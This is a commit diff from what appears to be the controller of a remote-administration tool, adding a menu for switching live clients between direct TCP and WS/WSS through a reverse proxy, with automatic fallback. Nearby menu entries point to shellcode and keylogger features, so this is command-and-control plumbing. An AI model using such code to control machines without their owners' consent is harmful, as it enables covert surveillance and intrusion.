Feature: Let the operator switch a live client's transport from the online list

This commit is contained in:
yuanyuanxiang committed 2026-10-30 17:22:36 +01:00
1 parent cc891e3670
commit 99db28e2e2
12 files changed
+466 -2

No files matched your search

+157
View File
@@ -1079,6 +1079,9 @@ BEGIN_MESSAGE_MAP(CMy2015RemoteDlg, CDialogEx)
ON_COMMAND(ID_EXPERIMENT_DRAWING_BOARD, &CMy2015RemoteDlg::OnExperimentDrawingBoard)
ON_COMMAND(ID_EXPERIMENT_TLS_ENABLE, &CMy2015RemoteDlg::OnExperimentTlsEnable)
ON_COMMAND(ID_EXPERIMENT_TLS_DISABLE, &CMy2015RemoteDlg::OnExperimentTlsDisable)
ON_COMMAND(ID_PROTO_SWITCH_TCP, &CMy2015RemoteDlg::OnProtoSwitchTcp)
ON_COMMAND(ID_PROTO_SWITCH_WS, &CMy2015RemoteDlg::OnProtoSwitchWs)
ON_COMMAND(ID_PROTO_SWITCH_WSS, &CMy2015RemoteDlg::OnProtoSwitchWss)
ON_COMMAND(ID_TRIGGER_SETTINGS, &CMy2015RemoteDlg::OnTriggerSettings)
ON_COMMAND(ID_SHELLCODE_AES_C_ARRAY, &CMy2015RemoteDlg::OnShellcodeAesCArray)
ON_COMMAND(ID_PARAM_KBLOGGER, &CMy2015RemoteDlg::OnParamKblogger)
@@ -4619,6 +4622,54 @@ void CMy2015RemoteDlg::OnNMRClickOnline(NMHDR *pNMHDR, LRESULT *pResult)
Menu.SetMenuItemBitmaps(ID_EXPERIMENT_TLS_ENABLE, MF_BYCOMMAND, &m_bmOnline[69], &m_bmOnline[69]);
Menu.SetMenuItemBitmaps(ID_EXPERIMENT_TLS_DISABLE, MF_BYCOMMAND, &m_bmOnline[70], &m_bmOnline[70]);
// --- 协议切换子菜单:与「实验功能」平级,紧跟在它下面 ---
// 三个单选项:直连 TCP / WS(明文,经反代)/ WSS(TLS,经反代)。当前协议取选中
// 主机连接的 GetProtocol()——这是连接的真实传输,比客户端自报可信。
// 没选中主机、或选中的客户端版本没有 COMMAND_SET_PROTO(能力位
// CLIENT_CAP_PROTO_SWITCH),整组置灰——与「实验功能」等静态子菜单的表现一致。
CMenu* pExperimentMenu = FindSubMenuByCommand(SubMenu, ID_EXPERIMENT_TLS_ENABLE);
if (pExperimentMenu) {
CString curProto;
int selectedCount = 0;
bool supported = true;
EnterCriticalSection(&m_cs);
POSITION protoPos = m_CList_Online.GetFirstSelectedItemPosition();
while (protoPos) {
int protoItem = m_CList_Online.GetNextSelectedItem(protoPos);
context* protoCtx = GetContextByListIndex(protoItem);
if (!protoCtx || !protoCtx->IsLogin()) continue;
++selectedCount;
if (curProto.IsEmpty()) curProto = protoCtx->GetProtocol().c_str();
if (!protoCtx->SupportsProtoSwitch()) supported = false;
}
LeaveCriticalSection(&m_cs);
CMenu protoMenu;
if (protoMenu.CreatePopupMenu()) {
protoMenu.AppendMenuL(MF_STRING, ID_PROTO_SWITCH_TCP, _T("直连 TCP"));
protoMenu.AppendMenuL(MF_STRING, ID_PROTO_SWITCH_WS, _T("WS(经反向代理,明文)"));
protoMenu.AppendMenuL(MF_STRING, ID_PROTO_SWITCH_WSS, _T("WSS(经反向代理,TLS)"));
UINT checked = curProto == _T("WS") ? ID_PROTO_SWITCH_WS
: curProto == _T("WSS") ? ID_PROTO_SWITCH_WSS
: ID_PROTO_SWITCH_TCP;
protoMenu.CheckMenuRadioItem(ID_PROTO_SWITCH_TCP, ID_PROTO_SWITCH_WSS,
checked, MF_BYCOMMAND);
if (selectedCount == 0 || !supported) {
protoMenu.EnableMenuItem(ID_PROTO_SWITCH_TCP, MF_BYCOMMAND | MF_GRAYED);
protoMenu.EnableMenuItem(ID_PROTO_SWITCH_WS, MF_BYCOMMAND | MF_GRAYED);
protoMenu.EnableMenuItem(ID_PROTO_SWITCH_WSS, MF_BYCOMMAND | MF_GRAYED);
}
for (UINT i = 0; i < SubMenu->GetMenuItemCount(); i++) {
if (SubMenu->GetSubMenu(i) == pExperimentMenu) {
// 子菜单句柄交给父菜单,随本地 CMenu 一起销毁
SubMenu->InsertMenu(i + 1, MF_BYPOSITION | MF_POPUP | MF_STRING,
(UINT_PTR)protoMenu.Detach(), _TR("协议切换"));
break;
}
}
}
}
Menu.ModifyMenuL(ID_ONLINE_AUTHORIZE, MF_BYCOMMAND | MF_STRING, ID_ONLINE_AUTHORIZE, _T("发送授权"));
// ============================================================
@@ -4841,6 +4892,112 @@ void CMy2015RemoteDlg::OnExperimentTlsDisable()
SendSelectedCommand(&bToken, sizeof(BYTE));
}
// ---- 协议切换(在线列表右键 → 协议切换 → 直连 TCP / WS / WSS)----
//
// 服务端只负责下发目标入口和协议:客户端把入口写进本机配置后断开重连,在线升级换 DLL
// 也不会被外壳注入的 protoType 按回 TCP(见 client/ClientDll.cpp 的 ApplyProtoSwitch)。
// 新入口 5 分钟内登不上去,客户端自动回退到切换前的入口。
void CMy2015RemoteDlg::OnProtoSwitchTcp() { SwitchSelectedProtocol(ID_PROTO_SWITCH_TCP); }
void CMy2015RemoteDlg::OnProtoSwitchWs() { SwitchSelectedProtocol(ID_PROTO_SWITCH_WS); }
void CMy2015RemoteDlg::OnProtoSwitchWss() { SwitchSelectedProtocol(ID_PROTO_SWITCH_WSS); }
VOID CMy2015RemoteDlg::SwitchSelectedProtocol(UINT nID)
{
const BYTE proto = nID == ID_PROTO_SWITCH_WS ? (BYTE)PROTO_WS
: nID == ID_PROTO_SWITCH_WSS ? (BYTE)PROTO_WSS
: (BYTE)PROTO_TCP;
const bool restore = (proto == PROTO_TCP);
// 选中主机的能力校验:老客户端不认识 COMMAND_SET_PROTO,收到只会丢弃。
int selected = 0, unsupported = 0;
EnterCriticalSection(&m_cs);
POSITION pos = m_CList_Online.GetFirstSelectedItemPosition();
while (pos) {
int item = m_CList_Online.GetNextSelectedItem(pos);
context* ctx = GetContextByListIndex(item);
if (!ctx || !ctx->IsLogin()) continue;
++selected;
if (!ctx->SupportsProtoSwitch()) ++unsupported;
}
LeaveCriticalSection(&m_cs);
if (selected == 0) return;
if (unsupported > 0) {
MessageBoxL(_T("选中的主机里有客户端版本不支持协议切换(需要新版客户端)"),
_T("提示"), MB_ICONWARNING);
return;
}
// WS/WSS 需要反向代理入口(域名:端口),用输入框问,记住上次填的
std::string host;
int port = 0;
std::string certPem;
if (!restore) {
CInputDialog dlg(this);
dlg.Init(_TR("协议切换"), _TR("请输入反向代理入口(域名:端口,例如 ws.example.com:443):"));
dlg.SetHistoryKey("proto_entry");
CString lastEntry = THIS_CFG.GetStr("ws", "Entry", "").c_str();
if (!lastEntry.IsEmpty()) dlg.m_str = lastEntry;
if (dlg.DoModal() != IDOK) return;
CString text = dlg.m_str;
text.Trim();
int colon = text.ReverseFind(':');
if (colon <= 0 || colon == text.GetLength() - 1) {
MessageBoxL(_T("反向代理入口格式不正确,应为 域名:端口"), _T("提示"), MB_ICONWARNING);
return;
}
host = text.Left(colon).GetString();
port = atoi(text.Mid(colon + 1).GetString());
if (host.empty() || port <= 0 || port > 65535 || host.size() >= 100) {
MessageBoxL(_T("反向代理入口格式不正确,应为 域名:端口"), _T("提示"), MB_ICONWARNING);
return;
}
THIS_CFG.SetStr("ws", "Entry", std::string(text.GetString())); // 记住上次入口
// WSS 需要客户端持有能校验反代证书的信任锚:随切换指令一起下发。
// 没有证书就不让切——客户端无锚时会按明文 WS 回退,等于静默降级。
if (proto == PROTO_WSS) {
if (!ServerTlsIdentity::IsReady()) {
MessageBoxL(_T("服务端未启用 TLS 证书,无法切换到 WSS"), _T("提示"), MB_ICONWARNING);
return;
}
std::ifstream certFile(THIS_CFG.GetStr("tls", "CertPath", ""), std::ios::binary);
if (certFile.is_open()) {
std::ostringstream ss;
ss << certFile.rdbuf();
certPem = ss.str();
}
if (certPem.empty()) {
MessageBoxL(_T("读取服务端 TLS 证书失败,无法切换到 WSS"), _T("提示"), MB_ICONWARNING);
return;
}
}
}
CString confirm = restore
? _TR("确定把选中主机切回直连 TCP 吗?\n"
"(客户端立即断线重连;若直连端口不可达,5 分钟后自动回退到当前入口)")
: _TR("确定切换选中主机的传输协议吗?\n"
"(客户端立即断线重连,正在进行的远程会话会中断;"
"新入口 5 分钟内连不上将自动回退)");
// confirm 已是翻译后的文本:MessageBoxL 宏会再做一次 _T() 拼接,不能传变量。
if (IDYES != MessageBox(confirm, _TR("协议切换"), MB_ICONQUESTION | MB_YESNO)) return;
// 报文:[COMMAND_SET_PROTO][ProtoSwitchPacket][PEM]
std::vector<BYTE> pkt(1 + sizeof(ProtoSwitchPacket), 0);
pkt[0] = (BYTE)COMMAND_SET_PROTO;
ProtoSwitchPacket* p = (ProtoSwitchPacket*)(pkt.data() + 1);
p->proto = proto;
if (!restore) {
strcpy_s(p->host, host.c_str());
sprintf_s(p->port, "%d", port);
if (!certPem.empty()) {
p->certLen = (uint32_t)certPem.size();
pkt.insert(pkt.end(), certPem.begin(), certPem.end());
}
}
SendSelectedCommand(pkt.data(), (ULONG)pkt.size());
}
// 从资源中读取被控端文件,并根据用户选择修改连接信息后返回给发送线程
BYTE* ReadExeFromResource(DWORD& outSize, int resourceId, const char* resName, int iType, int iStartup,